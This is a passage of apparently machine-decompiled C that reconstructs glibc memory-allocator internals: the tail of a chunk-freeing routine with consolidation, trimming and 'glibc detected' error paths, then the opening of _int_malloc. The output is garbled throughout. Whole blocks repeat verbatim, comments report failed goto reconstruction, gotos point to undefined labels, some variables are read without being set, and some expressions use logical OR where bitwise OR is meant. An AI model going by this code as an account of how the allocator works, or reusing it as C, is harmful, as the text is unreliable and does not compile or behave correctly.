if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = (int32_t *)v87;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3e36
v80 = v63 & 2;
g98 = v80;
__libc_message((int32_t *)v80, (struct struct_59 *)"%s\n");
v50 = v46;
// branch -> 0x80b38fc
// 0x80b38fc
if (v6 == *v19) {
// 0x80b3b04
v31 = g102 + v24;
g102 = v31;
*(int32_t *)(g101 + 4) = v31 | 1;
*(int32_t *)(v14 + 48) = g101;
v51 = v50;
// branch -> 0x80b3971
} else {
// 0x80b390b
if (*(char *)((v24 || 4) + v6) == 1) {
// 0x80b3919
v85 = *(int32_t *)(v5 + v2);
v86 = *(int32_t *)(v6 + 12);
g97 = v86;
v34 = (int32_t *)(v85 + 12);
if (v6 == *v34) {
// 0x80b3e00
if (v6 == *(int32_t *)(v86 + 8)) {
// 0x80b3e09
*v34 = v86;
*(int32_t *)(g97 + 8) = v85;
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3928
v64 = g21;
g98 = v64;
v72 = v64 & 5;
g95 = v72;
if (v72 != 5) {
// 0x80b393c
if (v64 == 1) {
// 0x80b3945
// branch -> 0x80b3af1
} else {
// 0x80b3c2e
v28 = (int32_t)g2;
v45 = _itoa_word(v6, v28, 16, v28, v1);
g97 = v45;
v57 = v50;
if (g96 < v45) {
// 0x80b3c50
v55 = -v45;
v56 = -1 - g95;
g97 = -1 - (v56 < v55 ? v55 : v56);
v57 = (int32_t *)48;
// branch -> 0x80b3c5b
}
// 0x80b3c5b
if (*(int32_t *)g93 == 0) {
// 0x80b3ed3
// branch -> 0x80b3c6a
}
// 0x80b3c6a
v78 = g98 & 2;
g98 = v78;
__libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v57;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = (int32_t *)v87;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3e68
v81 = v64 & 2;
g98 = v81;
__libc_message((int32_t *)v81, (struct struct_59 *)"%s\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
} else {
// 0x80b3af8
*v22 = *v22 & -2;
// branch -> 0x80b3951
}
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
}
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = (int32_t *)v87;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3ec9
g101 = 0x810934c;
// branch -> 0x80b3acf
}
// 0x80b3acf
v11 = g21;
g98 = v11;
g95 = v11;
if ((v11 & 5) == 5) {
// 0x80b3e1f
v13 = v11 & 2;
g98 = v13;
__libc_message((int32_t *)v13, (struct struct_59 *)"%s\n");
// branch -> 0x80b3856
} else {
// 0x80b3ae3
if (v11 == 1) {
// 0x80b3ae8
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3b56
v7 = (int32_t)g2;
v8 = _itoa_word(v2, v7, 16, v7, v1);
g97 = v8;
if (g95 < v8) {
// 0x80b3b78
v9 = -v8;
v10 = -1 - g96;
g97 = -1 - (v10 < v9 ? v9 : v10);
// branch -> 0x80b3b83
}
// 0x80b3b83
if (*(int32_t *)g93 == 0) {
// 0x80b3ea1
// branch -> 0x80b3b92
}
// 0x80b3b92
v12 = g98 & 2;
g98 = v12;
__libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b3856
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b3acf
v11 = g21;
g98 = v11;
g95 = v11;
if ((v11 & 5) == 5) {
// 0x80b3e1f
v13 = v11 & 2;
g98 = v13;
__libc_message((int32_t *)v13, (struct struct_59 *)"%s\n");
// branch -> 0x80b3856
} else {
// 0x80b3ae3
if (v11 == 1) {
// 0x80b3ae8
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3b56
v7 = (int32_t)g2;
v8 = _itoa_word(v2, v7, 16, v7, v1);
g97 = v8;
if (g95 < v8) {
// 0x80b3b78
v9 = -v8;
v10 = -1 - g96;
g97 = -1 - (v10 < v9 ? v9 : v10);
// branch -> 0x80b3b83
}
// 0x80b3b83
if (*(int32_t *)g93 == 0) {
// 0x80b3ea1
// branch -> 0x80b3b92
}
// 0x80b3b92
v12 = g98 & 2;
g98 = v12;
__libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b3856
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b3836
g73--;
int32_t v130 = *(int32_t *)7; // 0x80b383f
int32_t v131 = v130 + v5; // 0x80b3842
g77 -= v131;
munmap((int32_t *)(7 - v130), v131);
// branch -> 0x80b3856
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
uint32_t v132 = *(int32_t *)(v5 + 11); // 0x80b3a60
if (v132 >= 9) {
// 0x80b3a6d
if ((v132 & -8) < *(int32_t *)(v14 + 1100)) {
int32_t v133 = v17 & -2; // 0x80b3a7f
g97 = v133;
*v16 = v133;
uint32_t v134 = g102; // 0x80b3a85
int32_t v135 = 4 * v134 / 8; // 0x80b3a8a
v18 = v14 + 8 + v135;
int32_t v136 = *(int32_t *)(v135 + v14); // 0x80b3a8e
int32_t v137 = g101; // 0x80b3a91
if (v137 != v136) {
// 0x80b3a99
int32_t result;
int32_t v138; // 0x80b3aa7
if (g69 != 0) {
// 0x80b3efb
memset(a2, g69 % 256, v134 - 4);
v138 = g101;
result = *(int32_t *)(v18 - 8);
// branch -> 0x80b3aa7
} else {
v138 = v137;
result = v136;
}
// 0x80b3aa7
*(int32_t *)(v138 + 8) = result;
*(int32_t *)(v18 - 8) = g101;
return result;
}
// 0x80b3ef1
g101 = 0x8109370;
// branch -> 0x80b3acf
// 0x80b3acf
v11 = g21;
g98 = v11;
g95 = v11;
if ((v11 & 5) == 5) {
// 0x80b3e1f
v13 = v11 & 2;
g98 = v13;
__libc_message((int32_t *)v13, (struct struct_59 *)"%s\n");
// branch -> 0x80b3856
} else {
// 0x80b3ae3
if (v11 == 1) {
// 0x80b3ae8
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3b56
v7 = (int32_t)g2;
v8 = _itoa_word(v2, v7, 16, v7, v1);
g97 = v8;
if (g95 < v8) {
// 0x80b3b78
v9 = -v8;
v10 = -1 - g96;
g97 = -1 - (v10 < v9 ? v9 : v10);
// branch -> 0x80b3b83
}
// 0x80b3b83
if (*(int32_t *)g93 == 0) {
// 0x80b3ea1
// branch -> 0x80b3b92
}
// 0x80b3b92
v12 = g98 & 2;
g98 = v12;
__libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b3856
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3ebf
g101 = 0x8109328;
// branch -> 0x80b3acf
}
// 0x80b3acf
v11 = g21;
g98 = v11;
g95 = v11;
if ((v11 & 5) == 5) {
// 0x80b3e1f
v13 = v11 & 2;
g98 = v13;
__libc_message((int32_t *)v13, (struct struct_59 *)"%s\n");
// branch -> 0x80b3856
} else {
// 0x80b3ae3
if (v11 == 1) {
// 0x80b3ae8
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3b56
v7 = (int32_t)g2;
v8 = _itoa_word(v2, v7, 16, v7, v1);
g97 = v8;
if (g95 < v8) {
// 0x80b3b78
v9 = -v8;
v10 = -1 - g96;
g97 = -1 - (v10 < v9 ? v9 : v10);
// branch -> 0x80b3b83
}
// 0x80b3b83
if (*(int32_t *)g93 == 0) {
// 0x80b3ea1
// branch -> 0x80b3b92
}
// 0x80b3b92
v12 = g98 & 2;
g98 = v12;
__libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b3856
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3df6
g101 = 0x81091b6;
// branch -> 0x80b3acf
// 0x80b3acf
v11 = g21;
g98 = v11;
g95 = v11;
if ((v11 & 5) == 5) {
// 0x80b3e1f
v13 = v11 & 2;
g98 = v13;
__libc_message((int32_t *)v13, (struct struct_59 *)"%s\n");
// branch -> 0x80b3856
} else {
// 0x80b3ae3
if (v11 == 1) {
// 0x80b3ae8
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3b56
v7 = (int32_t)g2;
v8 = _itoa_word(v2, v7, 16, v7, v1);
g97 = v8;
if (g95 < v8) {
// 0x80b3b78
v9 = -v8;
v10 = -1 - g96;
g97 = -1 - (v10 < v9 ? v9 : v10);
// branch -> 0x80b3b83
}
// 0x80b3b83
if (*(int32_t *)g93 == 0) {
// 0x80b3ea1
// branch -> 0x80b3b92
}
// 0x80b3b92
v12 = g98 & 2;
g98 = v12;
__libc_message((int32_t *)v12, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b3856
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Address range: 0x80b41f4 - 0x80b4fa6
int32_t _int_malloc(char * a1, int32_t * a2, int32_t a3) {
int32_t v1 = g100; // 0x80b41f4
int32_t v2 = g98; // 0x80b41f9
int32_t * v3 = (int32_t *)v2; // 0x80b41f9_0
int32_t v4 = (int32_t)a2; // 0x80b41fd
if (a2 > (int32_t *)-33) {
// 0x80b4749
g95 = -24;
g98 = v2;
return 0;
}
uint32_t v5 = v4 + 11; // 0x80b420a
int32_t v6; // 0x80b4296
int32_t v7; // 0x80b4319
uint32_t v8; // 0x80b458d
int32_t v9; // 0x80b476c
int32_t v10; // 0x80b4822
struct struct_18 * v11; // 0x80b4822_5
int32_t v12; // 0x80b4f42
int32_t * v13; // 0x80b4233_0
int32_t * v14; // 0x80b4299_0
int32_t * v15; // 0x80b42b9_0
int32_t * v16; // 0x80b42cd_0
char * v17; // 0x80b4326_0
int32_t * v18; // 0x80b4343_0
int32_t * v19; // 0x80b4369_0
int32_t * v20; // 0x80b457f_0
int32_t * v21; // 0x80b45f7_0
int32_t * v22; // bp+045
int32_t * v23; // bp+046
int32_t * v24; // bp+047
int32_t v25;
int32_t v26;
int32_t v27;
int32_t v28; // 0x80b4f42
int32_t * v29;
int32_t * v30;
int32_t * v31;
int32_t * v32;
uint32_t v33;
uint32_t v34;
int32_t v35; // 0x80b42e8
int32_t v36; // 0x80b46d3
int32_t v37; // 0x80b4236
int32_t v38; // 0x80b425d
int32_t v39; // 0x80b42d4
int32_t v40; // 0x80b4329
int32_t v41; // 0x80b4e60
int32_t v42; // 0x80b43db
uint32_t v43; // 0x80b42e0
uint32_t v44; // 0x80b430d
int32_t v45; // 0x80b4323208
int32_t v46; // 0x80b4331
int32_t v47; // 0x80b422c
int32_t v48; // 0x80b4250
int32_t v49; // 0x80b42d1
int32_t v50; // 0x80b430d
int32_t v51; // 0x80b4e68
int32_t v52; // 0x80b4f7a
int32_t v53; // 0x80b4f95
int32_t v54; // 0x80b4293
int32_t v55; // 0x80b42a0
int32_t v56; // 0x80b4323
int32_t v57; // 0x80b43fd
int32_t v58;
int32_t v59; // 0x80b4761
int32_t * v60;
char * v61; // bp+032
char * v62; // bp+033
int32_t * v63; // bp+020
int32_t * v64; // bp+021
uint32_t v65; // 0x80b4281
int32_t v66; // 0x80b428d
int32_t v67; // 0x80b429c
int32_t v68;
int32_t v69; // 0x80b4a7238
int32_t v70; // 0x80b4400
int32_t v71; // 0x80b440c
if (v5 > 15) {
uint32_t v72 = v5 & -8; // 0x80b4270
int32_t * v73 = (int32_t *)v72; // 0x80b4273_0
int32_t v74 = (int32_t)a1; // 0x80b4276
int32_t v75 = *(int32_t *)(v74 + 4); // 0x80b4279
g101 = v75;
if (v72 <= v75) {
v63 = v73;
// 0x80b4224
v47 = (int32_t)v63 / 8 - 2;
g97 = v47;
v13 = (int32_t *)(v74 + 8 + 4 * v47);
v37 = *v13;
g98 = v37;
int32_t * v76; // 0x80b42e8_0
int32_t * v77; // bp+050
int32_t v78; // 0x80b42e2
if (v37 != 0) {
// 0x80b423c
v48 = v37 + 8;
g102 = v48;
if (*(int32_t *)(v37 + 4) / 8 - 2 == v47) {
// 0x80b4253
*v13 = *(int32_t *)(g98 + 8);
v38 = g69;
g95 = v38;
if (v38 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v3;
}
// 0x80b4266
g98 = (int32_t)v77;
return g102;
}
// 0x80b4e5d
v41 = g21;
g101 = v41;
v51 = v41 & 5;
g95 = v51;
if (v51 == 5) {
// 0x80b4f8b
v53 = v41 & 2;
g101 = v53;
int32_t * v79 = (int32_t *)v53; // 0x80b4f98_0
__libc_message(v79, (struct struct_59 *)"%s\n");
// branch -> 0x80b4253
// 0x80b4253
*v13 = *(int32_t *)(g98 + 8);
v38 = g69;
g95 = v38;
if (v38 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = v79;
}
// 0x80b4266
g98 = (int32_t)v77;
return g102;
}
// 0x80b4e74
if (v41 == 1) {
// 0x80b4e80
// branch -> 0x80b47cf
// 0x80b47cf
abort();
// UNREACHABLE
}
// 0x80b4f35
v12 = (int32_t)g2;
v28 = _itoa_word(v48, v12, 16, v12, v1);
g97 = v28;
if (g95 < v28) {
// 0x80b4f53
v33 = -v28;
v34 = -1 - g96;
g97 = -1 - (v34 < v33 ? v33 : v34);
// branch -> 0x80b4f5e
}
int32_t v80 = *(int32_t *)g93; // 0x80b4f63
int32_t v81 = v80; // 0x80b4f74
if (v80 == 0) {
// 0x80b4f69
v81 = 0x810918f;
// branch -> 0x80b4f6e
}
// 0x80b4f6e
v52 = g101 & 2;
g101 = v52;
__libc_message((int32_t *)v52, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b4253
// 0x80b4253
*v13 = *(int32_t *)(g98 + 8);
v38 = g69;
g95 = v38;
if (v38 != 0) {
// 0x80b42dd
v78 = v43 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)v35;
memset(v76, v78, v4);
v77 = v76;
// branch -> 0x80b4266
} else {
v77 = (int32_t *)v81;
}
// 0x80b4266
g98 = (int32_t)v77;
return g102;
}
v44 = v75;
v64 = v63;
// 0x80b4281
v65 = (int32_t)v64;
if (v64 > (int32_t *)511) {
// 0x80b42f8
if (v64 > (int32_t *)2111) {
// 0x80b44a0
if (v64 > (int32_t *)0x29ff) {
// 0x80b477b
if (v64 < (int32_t *)0xb000) {
// 0x80b480a
// branch -> 0x80b430d
} else {
// 0x80b478a
if (v64 > (int32_t *)0x27fff) {
// 0x80b4a4b
if (v64 < (int32_t *)0xc0000) {
// 0x80b4a72
v69 = v65 / 0x40000 + 124;
// branch -> 0x80b430d
} else {
v69 = 126;
}
} else {
// 0x80b4799
v69 = v65 / 0x8000 + 119;
// branch -> 0x80b430d
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v69;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
int32_t result; // 0x80b46a4
int32_t result2;
int32_t v82; // 0x80b46a7
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
// 0x80b43cf
if (v64 >= (int32_t *)512) {
lab_0x253371b0:;
int32_t v83 = 8 * v36; // 0x80b43db
int32_t v84 = v83 - 8 + v42; // 0x80b43db
int32_t v85 = *(int32_t *)(v84 + 12); // 0x80b43df
g98 = v85;
if (v84 != v85) {
int32_t v86 = *(int32_t *)(v42 + v83); // 0x80b43ea
if (v65 <= *(int32_t *)(v86 + 4)) {
int32_t v87 = *(int32_t *)(v85 + 4) & -8; // 0x80b44c0326
g102 = v87;
int32_t * v88; // 0x80b4512_0
int32_t * v89; // 0x80b4524_0
int32_t * v90; // 0x80b4c8e_0
int32_t * v91; // 0x80b4eb7_0
int32_t v92; // 0x80b4c46
uint32_t v93; // 0x80b44ca
uint32_t v94;
uint32_t v95;
int32_t v96; // 0x80b4c77
int32_t v97; // 0x80b44df
int32_t v98; // 0x80b4c67
int32_t v99; // 0x80b4bf7
int32_t v100; // 0x80b44e7
int32_t v101; // 0x80b4bf7
int32_t v102; // 0x80b4c7d
int32_t v103; // 0x80b4eb4
int32_t v104; // 0x80b44d0
int32_t v105; // 0x80b4bfa
if (v87 >= v65) {
// 0x80b44c8
v93 = v87 - v65;
v104 = *(int32_t *)(v85 + 8);
g97 = v104;
if (v85 == *(int32_t *)(v104 + 12)) {
// 0x80b4c8e
v90 = (int32_t *)(*(int32_t *)(v85 + 12) + 8);
if (v85 == *v90) {
// 0x80b4c97
*v90 = v104;
// branch -> 0x80b4508
// 0x80b4508
v99 = g98;
if (v93 > 15) {
// 0x80b4bf4
v101 = v99 + v65;
v25 = v101;
v105 = (int32_t)v61;
v26 = v105;
*(int32_t *)(v105 + 8) = v101;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
*(int32_t *)(v25 + 12) = v26;
*(int32_t *)(g98 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1;
*(int32_t *)(v25 + 4) = v93 | 1;
*(int32_t *)(v25 + v93) = v93;
// branch -> 0x80b46a4
} else {
// 0x80b4512
v88 = (int32_t *)(v99 + 4 + g102);
*v88 = *v88 | 1;
if (a1 != (char *)0x8139c40) {
// 0x80b4524
v89 = (int32_t *)(g98 + 4);
*v89 = *v89 | 4;
// branch -> 0x80b46a4
}
}
// 0x80b46a4
result = g98 + 8;
v82 = g69;
g95 = v82;
if (v82 == 0) {
// 0x80b46b4
g98 = (int32_t)v23;
return result;
}
// 0x80b42dd
v78 = v82 % 256 ^ 255;
g95 = v78;
v76 = (int32_t *)result;
memset(v76, v78, v4);
// branch -> 0x80b4266
// 0x80b4266
g98 = (int32_t)v76;
return result;
}
}
// 0x80b44df
v97 = g21;
g101 = v97;
v100 = v97 & 5;
g95 = v100;
if (v100 == 5) {
// 0x80b4eaa
v103 = v97 & 2;
g101 = v103;
v91 = (int32_t *)v103;
__libc_message(v91, (struct struct_59 *)"%s\n");
// branch -> 0x80b4508
// 0x80b4508
v99 = g98;
if (v93 > 15) {
// 0x80b4bf4
v101 = v99 + v65;
v25 = v101;
v105 = (int32_t)v61;
v26 = v105;
*(int32_t *)(v105 + 8) = v101;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
